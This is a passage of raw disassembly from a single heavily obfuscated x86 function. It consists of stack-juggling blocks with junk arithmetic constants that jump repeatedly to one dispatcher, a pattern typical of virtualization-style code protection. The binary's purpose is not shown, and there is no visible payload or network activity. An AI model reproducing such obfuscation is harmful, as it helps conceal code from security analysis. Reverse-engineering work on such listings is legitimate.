esp, 4 jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_587DAA: ; CODE XREF: sub_57DD3A+8FDFj add ebx, 2 xchg ebx, [esp+96h+var_98+2] mov esp, [esp+96h+var_98+2] jmp loc_584217 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+96h+var_98+2] jmp loc_58C56A ; --------------------------------------------------------------------------- loc_587DC1: ; CODE XREF: sub_57DD3A+3CEAj mov [esp+5Eh+var_60+2], ebx push edx jmp loc_586374 ; --------------------------------------------------------------------------- loc_587DCA: ; CODE XREF: sub_57DD3A+A8EEj sub ebp, 5B462F74h sub ebp, ebx add ebp, 5B462F74h mov ebx, [esp+62h+var_64+2] push ebp mov ebp, esp jmp loc_583E32 ; --------------------------------------------------------------------------- loc_587DE3: ; CODE XREF: sub_57DD3A+FA9Ej sub al, 2Eh mov dh, al pop eax push ecx mov cl, dh mov bh, cl pop ecx jmp loc_58B765 ; --------------------------------------------------------------------------- loc_587DF3: ; CODE XREF: sub_57DD3A+F628j add esp, 4 mov edx, ebp mov ebp, [esp+5Eh+var_60+2] jmp loc_583530 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+5Eh+var_60+2] push 1F46h mov [esp+62h+var_64+2], ebx mov ebx, esp sub esp, 4 mov [esp+66h+var_68+2], eax jmp loc_58C68A ; --------------------------------------------------------------------------- loc_587E1C: ; CODE XREF: sub_57DD3A+FDE5j pop ebp jmp loc_588FDB ; --------------------------------------------------------------------------- loc_587E22: ; CODE XREF: sub_57DD3A+69AAj mov eax, esp add eax, 4 jmp loc_5831D9 ; --------------------------------------------------------------------------- loc_587E2E: ; CODE XREF: sub_57DD3A+4687j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+8Eh+var_90+2] mov esp, [esp+8Eh+var_90+2] jmp loc_58410A ; --------------------------------------------------------------------------- loc_587E44: ; CODE XREF: sub_57DD3A+D133j mov ebx, esp add ebx, 4 jmp loc_583920 ; --------------------------------------------------------------------------- loc_587E51: ; CODE XREF: sub_57DD3A+E467j mov esp, [esp+8Eh+var_90+2] div cl movzx cx, ah sub esp, 4 jmp loc_58630B ; --------------------------------------------------------------------------- loc_587E65: ; CODE XREF: sub_57DD3A+8C1Cj pop ecx push eax mov eax, 4 add ecx, eax jmp loc_584DD7 ; --------------------------------------------------------------------------- loc_587E73: ; CODE XREF: sub_57DD3A+5E0Cj xor ebp, [esp+7Eh+var_80+2] mov esp, [esp+7Eh+var_80+2] add word ptr [esp+7Eh+var_80+2], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_587E83: ; CODE XREF: sub_57DD3A+FA86j pop ax movzx eax, al jmp loc_58255B ; --------------------------------------------------------------------------- loc_587E8D: ; CODE XREF: sub_57DD3A+55A8j pop esp jmp loc_586BBC ; --------------------------------------------------------------------------- loc_587E93: ; CODE XREF: sub_57DD3A+B7B1j xchg ebp, [esp+5Ah+var_5C+2] pop esp add ebx, 2 xchg ebx, [esp+56h+var_58+2] jmp loc_584589 ; --------------------------------------------------------------------------- loc_587EA2: ; CODE XREF: sub_57DD3A+E3B6j mov [esp+56h+var_58+2], esp push edi jmp loc_5864B3 ; --------------------------------------------------------------------------- loc_587EAB: ; CODE XREF: sub_57DD3A+E270j add esp, 4 jmp loc_584642 ; --------------------------------------------------------------------------- loc_587EB6: ; CODE XREF: sub_57DD3A+FD87j inc ebp neg ebp xor ebp, 6E956B10h xor ebp, 936894E5h add eax, ebp pop ebp xchg eax, [esp+52h+var_54+2] mov esp, [esp+52h+var_54+2] jmp loc_585608 ; --------------------------------------------------------------------------- loc_587ED3: ; CODE XREF: sub_57DD3A+5E34j push bx mov bl, 0DBh add ch, bl jmp loc_588654 ; --------------------------------------------------------------------------- loc_587EDE: ; CODE XREF: sub_57DD3A+AD37j pop esp mov [esp+0B4h+var_B4], ecx sub esp, 4 mov [esp+0B8h+var_B8], edx push ecx jmp loc_585B40 ; --------------------------------------------------------------------------- loc_587EEE: ; CODE XREF: sub_57DD3A+101E2j pop ebp mov ecx, esi push [esp+0B8h+var_B8] pop esi jmp loc_587CE3 ; --------------------------------------------------------------------------- loc_587EFA: ; CODE XREF: sub_57DD3A+E21Ej mov cl, 15h add dl, cl jmp loc_5857DF ; --------------------------------------------------------------------------- loc_587F03: ; CODE XREF: sub_57DD3A+7618j add [esp+88h+var_88], 0F082185h pop edx push esi mov esi, 0F082185h sub edx, esi pop esi mov esi, [esp+84h+var_84] add esp, 4 add edx, 3E52D4F0h push ebp mov ebp, edx mov esi, ebp jmp loc_582BBB ; --------------------------------------------------------------------------- loc_587F2A: ; CODE XREF: sub_57DD3A+A6DAj mov ecx, 9FF4ED47h add esi, ecx jmp loc_58A788 ; --------------------------------------------------------------------------- loc_587F36: ; CODE XREF: sub_57DD3A+4978j shr ecx, 5 not ecx and ecx, 6C986F7Eh xor ecx, 6C986F1Ah add esi, ecx pop ecx add esi, 4 xchg esi, [esp+8Ah+var_8C+2] pop esp jmp loc_5841C3 ; --------------------------------------------------------------------------- loc_587F59: ; CODE XREF: sub_57DD3A+E8CEj mov [esp+86h+var_88+2], esp jmp loc_588DA2 ; --------------------------------------------------------------------------- loc_587F61: ; CODE XREF: sub_57DD3A+5694j xor ebp, edx pop edx jmp loc_58B8A6 ; --------------------------------------------------------------------------- loc_587F69: ; CODE XREF: sub_57DD3A+DB67j pop esi push edx mov edx, 52ED00DDh xor edx, 10E379C1h xor edx, 420E7918h add esi, edx pop edx push eax push ebp mov ebp, 703F510Fh inc ebp dec ebp shl ebp, 6 dec ebp jmp loc_584C56 ; --------------------------------------------------------------------------- loc_587F91: ; CODE XREF: sub_57DD3A+D594j not ah jmp loc_585BC8 ; --------------------------------------------------------------------------- loc_587F98: ; CODE XREF: sub_57DD3A+8AC8j mov ebp, [esp+0C0h+var_C0] add esp, 4 push 3DAAh mov [esp+0C0h+var_C0], ecx mov ecx, 2E5D66F1h sub ecx, 40985224h add ecx, 0FFFFFFFFh push edx push 0CF507494h jmp loc_585F46 ; --------------------------------------------------------------------------- loc_587FC5: ; CODE XREF: sub_57DD3A+F83Dj mov [esp+0C8h+var_C8], ebx jmp loc_587491 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0C8h+var_C8] sub esp, 4 mov [esp+0CCh+var_CC], edi jmp loc_5890E9 ; --------------------------------------------------------------------------- loc_587FDF: ; CODE XREF: sub_57DD3A+7E1Fj sub edx, esi pop esi jmp loc_58B477 ; --------------------------------------------------------------------------- loc_587FE7: ; CODE XREF: sub_57DD3A+D1A7j mov edx, 4 add ecx, edx pop edx xchg ecx, [esp+50h+var_50] pop esp loc_587FF3: ; CODE XREF: sub_57DD3A+739Aj ; sub_57DD3A+BA7Cj push 5111h mov [esp+50h+var_50], ebx push [esp+50h+var_50] pop eax push 5EE2h mov [esp+54h+var_54], ecx jmp loc_589F30 ; --------------------------------------------------------------------------- loc_58800C: ; CODE XREF: sub_57DD3A+5192j or ebp, 7E3D2876h sub ebp, 34243496h sub ebp, 4BDB4ADDh sub edx, 11A804DDh add edx, ebp add edx, 11A804DDh jmp loc_58DB68 ; --------------------------------------------------------------------------- loc_588031: ; CODE XREF: sub_57DD3A+B108j pop eax jmp loc_582AD3 ; --------------------------------------------------------------------------- loc_588037: ; CODE XREF: sub_57DD3A+EF40j pop eax or edi, 5B1E08A3h sub edi, 66B6D7DCh and edx, edi pop edi sub edx, 63FFC045h and eax, edx jmp loc_587B70 ; --------------------------------------------------------------------------- loc_588054: ; CODE XREF: sub_57DD3A+AC15j sub bl, 4Ah jmp loc_5854E1 ; --------------------------------------------------------------------------- loc_58805C: ; CODE XREF: sub_57DD3A+E8B0j push edx mov edx, 0 add edx, ebx jmp loc_5847A8 ; --------------------------------------------------------------------------- loc_588069: ; CODE XREF: sub_57DD3A+9E89j push [esp+8Ah+var_8C+2] pop eax add esp, 4 push esi push eax push ecx mov ecx, 5C5E7CB5h jmp loc_5889B2 ; --------------------------------------------------------------------------- loc_588080: ; CODE XREF: sub_57DD3A+741Cj mov eax, 2 add edi, 703E0E5Bh add edi, eax sub edi, 703E0E5Bh mov eax, [esp+8Ch+var_8C] add esp, 4 xor edi, [esp+88h+var_88] xor [esp+88h+var_88], edi xor edi, [esp+88h+var_88] pop esp jmp loc_58A7A5 ; --------------------------------------------------------------------------- loc_5880AB: ; CODE XREF: sub_57DD3A+4582j add ebx, 4 add ebx, 4 jmp loc_58CFFF ; --------------------------------------------------------------------------- loc_5880B9: ; CODE XREF: sub_57DD3A+900Aj add dl, bh pop ebx jmp loc_5881F2 ; --------------------------------------------------------------------------- loc_5880C1: ; CODE XREF: sub_57DD3A+7268j and ebp, 52796602h sub ebp, 503103FEh add edi, 6E0A3E3Fh add edi, ebp sub edi, 6E0A3E3Fh jmp loc_589075 ; --------------------------------------------------------------------------- loc_5880E0: ; CODE XREF: sub_57DD3A+EAAEj pop esp mov [esp+0B0h+var_B0], ebx jmp loc_588C5B ; --------------------------------------------------------------------------- loc_5880E9: ; CODE XREF: sub_57DD3A+4A4Fj add ebp, eax mov eax, [esp+0A6h+var_A8+2] add esp, 4 jmp loc_588612 ; --------------------------------------------------------------------------- loc_5880F9: ; CODE XREF: sub_57DD3A+49A8j add edi, ecx pop ecx add edx, edi pop edi jmp loc_58CE99 ; --------------------------------------------------------------------------- loc_588104: ; CODE XREF: sub_57DD3A+7204j add ebx, 4 xchg ebx, [esp+90h+var_90] pop esp add eax, ebx sub esp, 4 mov [esp+90h+var_90], ebp mov ebp, 27472958h sub eax, ebp push [esp+90h+var_90] jmp loc_58AC5D ; --------------------------------------------------------------------------- loc_588125: ; CODE XREF: sub_57DD3A+86AEj sub ebp, 4 xchg ebp, [esp+6Ch+var_6C] pop esp mov [esp+68h+var_68], edx push esi mov esi, 17FE38A2h mov edx, 0F4BBEA08h jmp loc_58A6CE ; --------------------------------------------------------------------------- loc_588142: ; CODE XREF: sub_57DD3A+9F31j add esi, 1 and esi, 7B46165Eh xor esi, 36C5B5FEh jmp loc_586B29 ; --------------------------------------------------------------------------- loc_588159: ; CODE XREF: sub_57DD3A+BD65j not ecx sub ecx, 0CA4AC404h and esi, ecx jmp loc_5862FD ; --------------------------------------------------------------------------- loc_588168: ; CODE XREF: sub_57DD3A+B3F4j mov ecx, 1A915F02h not ecx jmp loc_58D891 ; --------------------------------------------------------------------------- loc_588174: ; CODE XREF: sub_57DD3A+EFB3j xor ecx, [esp+6Ch+var_6C] mov esp, [esp+6Ch+var_6C] shr [esp+6Ch+var_6C], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_588183: ; CODE XREF: sub_57DD3A+833Bj pop esp xor byte ptr [esp+4Eh+var_50+2], al pushf jmp loc_5835FF ; --------------------------------------------------------------------------- loc_58818D: ; CODE XREF: sub_57DD3A+4396j push [esp+6Ah+var_68+2] pop edi pop [esp+6Ah+var_6C+2] pop esp jmp loc_58C241 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc word ptr [esp+60h+var_60], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5881AB: ; CODE XREF: sub_57DD3A+68F5j pop ecx jmp loc_586946 ; --------------------------------------------------------------------------- loc_5881B1: ; CODE XREF: sub_57DD3A+68EEj mov eax, [esp+86h+var_88+2] jmp loc_58D483 ; --------------------------------------------------------------------------- loc_5881B9: ; CODE XREF: sub_57DD3A+9250j mov [esp+6Eh+var_70+2], esp jmp loc_58BFF7 ; --------------------------------------------------------------------------- loc_5881C1: ; CODE XREF: sub_57DD3A+B9B1j push [esp+6Eh+var_70+2] pop edi sub esp, 4 mov [esp+72h+var_74+2], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+72h+var_74+2] pop esp xor ebx, eax movzx ax, byte ptr [eax] push 713Ch mov [esp+72h+var_74+2], esi mov esi, esp jmp loc_58C9BF ; --------------------------------------------------------------------------- loc_5881F2: ; CODE XREF: sub_57DD3A+A382j add dl, 61h jmp loc_5849B1 ; --------------------------------------------------------------------------- loc_5881FA: ; CODE XREF: sub_57DD3A+782Cj xor eax, 575925FCh jmp loc_581DB7 ; --------------------------------------------------------------------------- loc_588204: ; CODE XREF: sub_57DD3A+48A3j add edi, 1C925B32h add edi, esi sub edi, 1C925B32h pop esi shl edi, 8 sub edi, 355E2773h sub ebx, 4F203988h add ebx, edi add ebx, 4F203988h jmp loc_58324B ; --------------------------------------------------------------------------- loc_58822F: ; CODE XREF: sub_57DD3A+B834j dec edx shl edx, 8 not edx sub edx, 0B7C807Fh and ecx, edx mov edx, [esp+74h+var_74] add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] push edi jmp loc_584A3C ; --------------------------------------------------------------------------- loc_58824F: ; CODE XREF: sub_57DD3A+549Aj not ebx or ebx, 32825F97h dec ebx shr ebx, 3 jmp loc_58C7BC ; --------------------------------------------------------------------------- loc_588260: ; CODE XREF: sub_57DD3A+6F84j add ebp, 0D04826F9h add [esp+90h+var_8C], ebp pop ebp jmp loc_5837FE ; --------------------------------------------------------------------------- loc_588270: ; CODE XREF: sub_57DD3A+FB34j mov [esp+8Ch+var_8C], esi jmp loc_589551 ; --------------------------------------------------------------------------- loc_588278: ; CODE XREF: sub_57DD3A+DC44j push 7BD475F9h pop ebx jmp loc_5888C0 ; --------------------------------------------------------------------------- loc_588283: ; CODE XREF: sub_57DD3A+4512j add ebp, 4 add ebp, 4 xchg ebp, [esp+76h+var_78+2] mov esp, [esp+76h+var_78+2] jmp loc_58731A ; --------------------------------------------------------------------------- loc_588297: ; CODE XREF: sub_57DD3A+E100j push [esp+76h+var_78+2] pop ebx push edi mov edi, esp push 4CEFh jmp loc_58D04E ; --------------------------------------------------------------------------- loc_5882A8: ; CODE XREF: sub_57DD3A+4D6Bj mov ecx, edi pop edi add ecx, 6CAA722Bh xor ecx, 57D25B72h jmp loc_585214 ; --------------------------------------------------------------------------- loc_5882BC: ; CODE XREF: sub_57DD3A+F2C0j mov ebp, [esp+68h+var_68] jmp loc_582249 ; --------------------------------------------------------------------------- dd 240C8B66h, 42A16853h, 4EE90000h ; --------------------------------------------------------------------------- retn 0FFFFh ; --------------------------------------------------------------------------- loc_5882D3: ; CODE XREF: sub_57DD3A+5F39j sub byte ptr [esp+82h+var_84+2], dh jmp loc_58343F ; --------------------------------------------------------------------------- loc_5882DB: ; CODE XREF: sub_57DD3A+DAE5j mov bl, ch not bl jmp loc_5873A6 ; --------------------------------------------------------------------------- loc_5882E4: ; CODE XREF: sub_57DD3A+D1D7j mov [esp+82h+var_84+2], esi push 31E4h mov [esp+86h+var_88+2], edi push ebx mov ebx, 727A6DF5h and ebx, 36A01607h xor ebx, 7467271Bh add ebx, 1E9112BEh mov edi, ebx pop ebx jmp loc_58C6DD ; --------------------------------------------------------------------------- loc_58830F: ; CODE XREF: sub_57DD3A+BE6Ej mov ecx, 49016808h sub esp, 4 jmp loc_58369F ; --------------------------------------------------------------------------- loc_58831C: ; CODE XREF: sub_57DD3A+DF2Ej mov [esp+8Ah+var_8C+2], eax jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_588324: ; CODE XREF: sub_57DD3A+C0D7j add eax, 4 sub eax, 4 jmp loc_5873EB ; --------------------------------------------------------------------------- loc_588331: ; CODE XREF: sub_57DD3A+94F5j xor dl, bl pop ebx add bl, dl pop edx jmp loc_58AA13 ; --------------------------------------------------------------------------- loc_58833C: ; CODE XREF: sub_57DD3A+E361j xchg ebx, [esp+56h+var_58+2] pop esp jmp loc_58B1EC ; --------------------------------------------------------------------------- loc_588345: ; CODE XREF: sub_57DD3A+E745j mov cl, 0BBh sub cl, 0A0h add cl, 0EDh jmp loc_584EAD ; --------------------------------------------------------------------------- loc_588352: ; CODE XREF: sub_57DD3A+7B89j add ecx, 4 xchg ecx, [esp+5Ah+var_5C+2] pop esp jmp loc_58C769 ; --------------------------------------------------------------------------- loc_58835E: ; CODE XREF: sub_57DD3A+5960j push ecx push ebx push ecx mov cl, 35h mov bl, cl jmp loc_58894C ; --------------------------------------------------------------------------- loc_58836A: ; CODE XREF: sub_57DD3A+8148j push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_586398 ; --------------------------------------------------------------------------- loc_58837B: ; CODE XREF: sub_57DD3A+54C0j pop ebx mov ebp, [esp+7Ah+var_7C+2] add esp, 4 add ecx, 2 xchg ecx, [esp+76h+var_78+2] mov esp, [esp+76h+var_78+2] ror byte ptr [esp+76h+var_78+2], cl pushf jmp loc_585DCF ; --------------------------------------------------------------------------- loc_588394: ; CODE XREF: sub_57DD3A+788Dj push 61D1h mov [esp+0C4h+var_C4], ebx mov ebx, 24h add ebx, edi push eax push 0 pop eax add eax, ebx add dword ptr [eax], 1 jmp loc_587B59 ; --------------------------------------------------------------------------- loc_5883B7: ; CODE XREF: sub_57DD3A+449Dj pop esi push edi mov edi, 0B27218Ah or edi, 7A612FA6h jmp loc_58C85E ; --------------------------------------------------------------------------- loc_5883C9: ; CODE XREF: sub_57DD3A+404Fj and cx, 48A4h shr cx, 4 not cx jmp loc_58ADDE ; --------------------------------------------------------------------------- loc_5883DA: ; CODE XREF: sub_57DD3A+C7BAj not dl add dl, 88h jmp loc_586267 ; --------------------------------------------------------------------------- loc_5883E4: ; CODE XREF: sub_57DD3A+835Aj mov eax, [esp+4Eh+var_50+2] add esp, 4 xor edx, 0B925B72h push esi jmp loc_581984 ; --------------------------------------------------------------------------- loc_5883F6: ; CODE XREF: sub_57DD3A+5B5Dj or ebx, 5E0C4AB3h sub ebx, 0DAFAC56Eh jmp loc_58DABE ; --------------------------------------------------------------------------- loc_588407: ; CODE XREF: sub_57DD3A+B2C5j pop esi sub edi, 7DFADFFBh jmp loc_586834 ; --------------------------------------------------------------------------- loc_588413: ; CODE XREF: sub_57DD3A+4468j push ecx jmp loc_587F2A ; --------------------------------------------------------------------------- push edx mov edx, esp add edx, 4 sub esp, 4 mov [esp+7Ah+var_7C+2], ebx push 3619h mov [esp+7Eh+var_80+2], ecx jmp loc_587ADD ; --------------------------------------------------------------------------- push [esp+7Eh+var_80+2] pop ecx push ebx mov ebx, esp sub esp, 4 mov [esp+86h+var_88+2], ecx mov ecx, 31157918h jmp loc_5835A5 ; --------------------------------------------------------------------------- loc_58844C: ; CODE XREF: sub_57DD3A+9C0Aj add esi, eax jmp loc_58BCC9 ; --------------------------------------------------------------------------- loc_588453: ; CODE XREF: sub_57DD3A+434Dj xor ecx, [esp+6Ah+var_6C+2] pop esp push 5723h jmp loc_58C729 ; --------------------------------------------------------------------------- loc_588461: ; CODE XREF: sub_57DD3A+8C0Dj mov ebp, 1D923297h xor edx, ebp pop ebp and edx, 35F036CEh jmp loc_586E65 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+62h+var_64+2] push 2423h mov [esp+66h+var_68+2], ebx mov ebx, esp push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_5873B3 ; --------------------------------------------------------------------------- loc_588493: ; CODE XREF: sub_57DD3A+D354j push esp pop ebx add ebx, 4 add ebx, 2 jmp loc_5848A9 ; --------------------------------------------------------------------------- push [esp+6Ah+var_6C+2] jmp loc_58DEC4 ; --------------------------------------------------------------------------- loc_5884AE: ; CODE XREF: sub_57DD3A+68E6j push esi mov esi, 7A197373h and edx, esi jmp loc_58DEA5 ; --------------------------------------------------------------------------- loc_5884BB: ; CODE XREF: sub_57DD3A+F6F3j push 231Dh mov [esp+8Ah+var_8C+2], ecx push ebx push esi mov esi, 5C271E84h xor esi, 0BF143D0h shr esi, 6 and esi, 36F42CBAh jmp loc_5829B8 ; --------------------------------------------------------------------------- loc_5884DE: ; CODE XREF: sub_57DD3A+B289j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5884E3: ; CODE XREF: sub_57DD3A+8E0Dj pop edx sub eax, 793B3CC7h push [esp+60h+var_60] pop esi push ecx jmp loc_582F31 ; --------------------------------------------------------------------------- loc_5884F3: ; CODE XREF: sub_57DD3A+D5E0j mov edx, esp push edi mov edi, 4 jmp loc_58AD34 ; --------------------------------------------------------------------------- loc_588500: ; CODE XREF: sub_57DD3A+967Cj mov esp, [esp+9Ch+var_9C] jmp loc_58CD35 ; --------------------------------------------------------------------------- loc_588508: ; CODE XREF: sub_57DD3A+AF37j and edi, 39FE53BFh sub edi, 19DA538Ch add ecx, edi pop edi jmp loc_586212 ; --------------------------------------------------------------------------- loc_58851C: ; CODE XREF: sub_57DD3A+FFB0j xor eax, ebx jmp loc_58777B ; --------------------------------------------------------------------------- loc_588523: ; CODE XREF: sub_57DD3A+DE93j pop eax xor ebp, [esp+94h+var_94] xor [esp+94h+var_94], ebp xor ebp, [esp+94h+var_94] mov esp, [esp+94h+var_94] mul cx push 6A28h mov [esp+98h+var_98], edi jmp loc_586FAD ; --------------------------------------------------------------------------- loc_588540: ; CODE XREF: sub_57DD3A+FE24j add [esp+98h+var_98], 4 pop ebp push 2D80h mov [esp+98h+var_98], ecx mov ecx, 4 jmp loc_58B7F2 ; --------------------------------------------------------------------------- loc_588557: ; CODE XREF: sub_57DD3A+6244j shl edi, 6 shl edi, 1 push edx mov edx, 0BBA43A04h xor edi, edx pop edx mov ebx, edi pop edi add ebp, ebx pop ebx push esi mov esi, 4 jmp loc_58423E ; --------------------------------------------------------------------------- loc_588576: ; CODE XREF: sub_57DD3A+B1E2j add ebp, edx push ebx mov ebx, 3D4805A1h add ebp, ebx jmp loc_58CE4B ; --------------------------------------------------------------------------- loc_588585: ; CODE XREF: sub_57DD3A+1013Dj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+0BCh+var_BC] jmp loc_58DA82 ; --------------------------------------------------------------------------- loc_58859B: ; CODE XREF: sub_57DD3A+3F3Aj push 1 mov edx, [esp+88h+var_88] push 5A77h mov [esp+8Ch+var_8C], ecx push esp jmp loc_5852C6 ; --------------------------------------------------------------------------- loc_5885B1: ; CODE XREF: sub_57DD3A+9C69j inc eax sub esp, 4 mov [esp+6Ch+var_6C], edi mov edi, 0C63C9068h add eax, 45B73C9h jmp loc_584D3C ; --------------------------------------------------------------------------- loc_5885CA: ; CODE XREF: sub_57DD3A+83B6j add esp, 4 jmp loc_583280 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5885DA: ; CODE XREF: sub_57DD3A+E701j push 599h mov [esp+0], edx mov edx, 4 sub ebx, 5BB422CAh add ebx, 2B1B5495h add ebx, edx sub ebx, 2B1B5495h jmp loc_58D9C6 ; --------------------------------------------------------------------------- loc_588600: ; CODE XREF: sub_57DD3A+59C5j add edx, eax jmp loc_58D426 ; --------------------------------------------------------------------------- loc_588607: ; CODE XREF: sub_57DD3A+CE16j sub esp, 4 jmp loc_587827 ; --------------------------------------------------------------------------- loc_588612: ; CODE XREF: sub_57DD3A+A3BAj push ebx push 7E41h mov [esp+0AAh+var_AC+2], edi mov edi, 385A462Dh mov ebx, 385A4629h xor ebx, edi pop edi jmp loc_587DCA ; --------------------------------------------------------------------------- loc_58862D: ; CODE XREF: sub_57DD3A+4CA1j xchg ebx, [esp+68h+var_68] pop esp add edx, ecx pop ecx jmp loc_589AA4 ; --------------------------------------------------------------------------- loc_588639: ; CODE XREF: sub_57DD3A+D44Ej push 6AF3h mov [esp+64h+var_64], edx push 4 pop edx add [esp+64h+var_60], 493865E3h jmp loc_585E6D ; --------------------------------------------------------------------------- loc_588654: ; CODE XREF: sub_57DD3A+A19Fj pop bx jmp loc_586207 ; --------------------------------------------------------------------------- loc_58865B: ; CODE XREF: sub_57DD3A+8193j mov [esp+54h+var_54], eax push esp pop eax push edi push 7137758Bh pop edi shr edi, 2 sub edi, 1C4DDD5Eh add eax, edi pop edi push ebp push eax jmp loc_585948 ; --------------------------------------------------------------------------- loc_58867A: ; CODE XREF: sub_57DD3A+ACA2j mov edi, 11784086h jmp loc_5888E8 ; --------------------------------------------------------------------------- loc_588684: ; CODE XREF: sub_57DD3A+FE43j pop edi xchg edi, edx not edi xchg edi, edx shr edx, 5 add edx, 0F8440163h jmp loc_5819F8 ; --------------------------------------------------------------------------- loc_588699: ; CODE XREF: sub_57DD3A+E2C1j mov esi, [esp+58h+var_58] jmp loc_58674B ; --------------------------------------------------------------------------- loc_5886A1: ; CODE XREF: sub_57DD3A+E991j push esp pop ebx push edi mov edi, 466208B8h neg edi jmp loc_583585 ; --------------------------------------------------------------------------- loc_5886B0: ; CODE XREF: sub_57DD3A+46A0j sub edx, eax pop eax add esi, edx pop edx xor eax, esi mov esi, [esp+82h+var_84+2] push eax jmp loc_5837E4 ; --------------------------------------------------------------------------- loc_5886C1: ; CODE XREF: sub_57DD3A+D68Cj xchg ecx, [esp+86h+var_88+2] pop esp jmp loc_581FDB ; --------------------------------------------------------------------------- loc_5886CA: ; CODE XREF: sub_57DD3A+744Fj pop esp mov [esp+8Ch+var_8C], esi push ebx jmp loc_5834F5 ; --------------------------------------------------------------------------- loc_5886D4: ; CODE XREF: sub_57DD3A+5F6Cj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+88h+var_88] pop esp sub edi, 4 xchg edi, [esp+84h+var_84] jmp loc_586DA7 ; --------------------------------------------------------------------------- loc_5886EE: ; CODE XREF: sub_57DD3A+ACB6j mov [esp+84h+var_84], ecx push edx mov dl, 0A7h jmp loc_586F32 ; --------------------------------------------------------------------------- loc_5886F9: ; CODE XREF: sub_57DD3A+BA62j push 204Eh mov [esp+8Ch+var_8C], esp add [esp+8Ch+var_8C], 4 mov eax, [esp+8Ch+var_8C] add esp, 4 push ebp mov ebp, 6F8E0B3Ah xor ebp, 7982448Fh xor ebp, 5EB123A7h jmp loc_589BB4 ; --------------------------------------------------------------------------- loc_588728: ; CODE XREF: sub_57DD3A+5CDDj add ebx, 4 jmp loc_58DE7C ; --------------------------------------------------------------------------- loc_588733: ; CODE XREF: sub_57DD3A+F5A5j pop ecx jmp loc_58B483 ; --------------------------------------------------------------------------- loc_588739: ; CODE XREF: sub_57DD3A+3D69j xor eax, [esp+5Eh+var_60+2] xor [esp+5Eh+var_60+2], eax xor eax, [esp+5Eh+var_60+2] pop esp bt word ptr [esp+5Ah+var_5C+2], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58874E: ; CODE XREF: sub_57DD3A+E37Bj mov esp, [esp+5Eh+var_60+2] pop [esp+5Eh+var_60+2] mov esp, [esp+5Ah+var_5C+2] btc word ptr [esp+5Ah+var_5C+2], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_588762: ; CODE XREF: sub_57DD3A+8E77j pop eax inc eax and eax, 125C4198h jmp loc_584A57 ; --------------------------------------------------------------------------- loc_58876E: ; CODE XREF: sub_57DD3A+728Fj mov bl, 0C2h add al, 4Eh jmp loc_585D6F ; --------------------------------------------------------------------------- loc_588777: ; CODE XREF: sub_57DD3A+986Aj sub eax, 0E28CB640h or ebx, eax pop eax jmp loc_586B5B ; --------------------------------------------------------------------------- loc_588784: ; CODE XREF: sub_57DD3A+9BE7j push ecx mov ecx, 75AF3FB4h jmp loc_5868BF ; --------------------------------------------------------------------------- loc_58878F: ; CODE XREF: sub_57DD3A+6F00j push esi mov esi, edi mov ebp, esi pop esi jmp loc_58CA6F ; --------------------------------------------------------------------------- loc_58879A: ; CODE XREF: sub_57DD3A+ED7Dj pop esp mov cx, word ptr [esp+86h+var_88+2] push edx push esp pop edx push esi mov esi, 0A201CB8h dec esi shl esi, 2 and esi, 63C01779h shl esi, 6 sub esi, 200495FCh sub edx, 1EB83667h jmp loc_58C59B ; --------------------------------------------------------------------------- loc_5887C6: ; CODE XREF: sub_57DD3A+6938j xor ebx, eax sub esp, 4 mov [esp+0A0h+var_A0], ecx mov ch, 0AFh shr ch, 2 xor ch, 54h and al, ch push [esp+0A0h+var_A0] mov ecx, [esp+0A4h+var_A4] add esp, 4 push eax push esp mov eax, [esp+0A8h+var_A8] jmp loc_58AF82 ; --------------------------------------------------------------------------- loc_5887EE: ; CODE XREF: sub_57DD3A+5BB4j add al, bl jmp loc_58B7B1 ; --------------------------------------------------------------------------- loc_5887F5: ; CODE XREF: sub_57DD3A+6A4Cj mov edx, 0FFFFFFFFh sub ebx, edx pop edx inc ebx inc ebx jmp loc_5878E6 ; --------------------------------------------------------------------------- loc_588804: ; CODE XREF: sub_57DD3A+6A38j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0C8h+var_C8] pop esp jmp loc_58D8E9 ; --------------------------------------------------------------------------- push [esp+0C4h+var_C4] push [esp+0C8h+var_C8] pop edx jmp loc_582C1F ; --------------------------------------------------------------------------- loc_588827: ; CODE XREF: sub_57DD3A+8DDDj add ebx, 4 push ecx push 4 pop ecx add ebx, ecx mov ecx, [esp+64h+var_64] add esp, 4 xchg ebx, [esp+60h+var_60] jmp loc_5824D6 ; --------------------------------------------------------------------------- loc_588844: ; CODE XREF: sub_57DD3A+EBD2j mov edx, 4 add esi, edx pop edx add esi, 4 xchg esi, [esp+5Ch+var_5C] pop esp push esi mov esi, esp jmp loc_58CF5F ; --------------------------------------------------------------------------- loc_58885B: ; CODE XREF: sub_57DD3A+6F17j inc edx jmp loc_5899F6 ; --------------------------------------------------------------------------- loc_588861: ; CODE XREF: sub_57DD3A+DE5Aj add ebp, 344A506Dh pop edi push ebp push [esp+8Ch+var_88] pop ebp pop [esp+8Ch+var_8C] mov esp, [esp+88h+var_88] and word ptr [esp+88h+var_88], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+8Ch+var_8C] push ecx push esp push [esp+94h+var_94] pop ecx add esp, 4 sub esp, 4 mov [esp+94h+var_94], ebx mov ebx, 4 jmp loc_58B18D ; --------------------------------------------------------------------------- loc_58889B: ; CODE XREF: sub_57DD3A+87C1j pop 